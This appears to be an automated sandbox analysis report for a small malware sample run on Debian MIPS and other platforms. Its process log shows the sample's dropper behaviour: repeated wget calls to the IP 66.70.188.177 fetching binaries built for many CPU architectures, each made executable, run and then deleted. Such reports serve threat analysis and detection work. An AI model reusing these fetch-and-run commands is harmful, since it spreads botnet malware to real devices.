Analysis
-
max time kernel
12s -
max time network
13s -
platform
debian-9_mips -
resource
debian9-mipsbe-20231222-en -
resource tags
arch:mipsimage:debian9-mipsbe-20231222-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
01/02/2024, 23:38
Static task
static1
Behavioral task
behavioral1
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
ubuntu1804-amd64-20231215-en
Behavioral task
behavioral2
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-armhf-20231215-en
Behavioral task
behavioral3
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsbe-20231222-en
Behavioral task
behavioral4
Sample
87f6cdd9e7b20463d16dbc0a987da1e0
Resource
debian9-mipsel-20231215-en
General
-
Target
87f6cdd9e7b20463d16dbc0a987da1e0
-
Size
2KB
-
MD5
87f6cdd9e7b20463d16dbc0a987da1e0
-
SHA1
cf961f122cee39b32a2897d63318d58596b52035
-
SHA256
2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459
-
SHA512
d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888
Malware Config
Signatures
Processes
-
/tmp/87f6cdd9e7b20463d16dbc0a987da1e0/tmp/87f6cdd9e7b20463d16dbc0a987da1e01⤵PID:733
-
/usr/bin/wgetwget http://66.70.188.177/m-i.p-s.SNOOPY2⤵PID:737
-
-
/bin/chmodchmod +x m-i.p-s.SNOOPY2⤵PID:747
-
-
/tmp/m-i.p-s.SNOOPY./m-i.p-s.SNOOPY2⤵PID:749
-
-
/bin/rmrm -rf m-i.p-s.SNOOPY2⤵PID:750
-
-
/usr/bin/wgetwget http://66.70.188.177/m-p.s-l.SNOOPY2⤵PID:752
-
-
/bin/chmodchmod +x m-p.s-l.SNOOPY2⤵PID:757
-
-
/tmp/m-p.s-l.SNOOPY./m-p.s-l.SNOOPY2⤵PID:758
-
-
/bin/rmrm -rf m-p.s-l.SNOOPY2⤵PID:759
-
-
/usr/bin/wgetwget http://66.70.188.177/s-h.4-.SNOOPY2⤵PID:760
-
-
/bin/chmodchmod +x s-h.4-.SNOOPY2⤵PID:762
-
-
/tmp/s-h.4-.SNOOPY./s-h.4-.SNOOPY2⤵PID:763
-
-
/bin/rmrm -rf s-h.4-.SNOOPY2⤵PID:764
-
-
/usr/bin/wgetwget http://66.70.188.177/x-8.6-.SNOOPY2⤵PID:765
-
-
/bin/chmodchmod +x x-8.6-.SNOOPY2⤵PID:766
-
-
/tmp/x-8.6-.SNOOPY./x-8.6-.SNOOPY2⤵PID:767
-
-
/bin/rmrm -rf x-8.6-.SNOOPY2⤵PID:768
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-6.SNOOPY2⤵PID:769
-
-
/bin/chmodchmod +x a-r.m-6.SNOOPY2⤵PID:770
-
-
/tmp/a-r.m-6.SNOOPY./a-r.m-6.SNOOPY2⤵PID:771
-
-
/bin/rmrm -rf a-r.m-6.SNOOPY2⤵PID:772
-
-
/usr/bin/wgetwget http://66.70.188.177/x-3.2-.SNOOPY2⤵PID:773
-
-
/bin/chmodchmod +x x-3.2-.SNOOPY2⤵PID:774
-
-
/tmp/x-3.2-.SNOOPY./x-3.2-.SNOOPY2⤵PID:775
-
-
/bin/rmrm -rf x-3.2-.SNOOPY2⤵PID:776
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-7.SNOOPY2⤵PID:777
-
-
/bin/chmodchmod +x a-r.m-7.SNOOPY2⤵PID:778
-
-
/tmp/a-r.m-7.SNOOPY./a-r.m-7.SNOOPY2⤵PID:779
-
-
/bin/rmrm -rf a-r.m-7.SNOOPY2⤵PID:780
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:781
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:789
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:791
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:792
-
-
/usr/bin/wgetwget http://66.70.188.177/i-5.8-6.SNOOPY2⤵PID:794
-
-
/bin/chmodchmod +x i-5.8-6.SNOOPY2⤵PID:801
-
-
/tmp/i-5.8-6.SNOOPY./i-5.8-6.SNOOPY2⤵PID:803
-
-
/bin/rmrm -rf i-5.8-6.SNOOPY2⤵PID:804
-
-
/usr/bin/wgetwget http://66.70.188.177/m-6.8-k.SNOOPY2⤵PID:805
-
-
/bin/chmodchmod +x m-6.8-k.SNOOPY2⤵PID:812
-
-
/tmp/m-6.8-k.SNOOPY./m-6.8-k.SNOOPY2⤵PID:814
-
-
/bin/rmrm -rf m-6.8-k.SNOOPY2⤵PID:816
-
-
/usr/bin/wgetwget http://66.70.188.177/p-p.c-.SNOOPY2⤵PID:817
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:826
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:827
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:829
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-4.SNOOPY2⤵PID:831
-
-
/bin/chmodchmod +x a-r.m-4.SNOOPY2⤵PID:841
-
-
/tmp/a-r.m-4.SNOOPY./a-r.m-4.SNOOPY2⤵PID:842
-
-
/bin/rmrm -rf a-r.m-4.SNOOPY2⤵PID:844
-
-
/usr/bin/wgetwget http://66.70.188.177/a-r.m-5.SNOOPY2⤵PID:845
-
-
/bin/chmodchmod +x a-r.m-5.SNOOPY2⤵PID:847
-
-
/tmp/a-r.m-5.SNOOPY./a-r.m-5.SNOOPY2⤵PID:848
-
-
/bin/rmrm -rf a-r.m-5.SNOOPY2⤵PID:849
-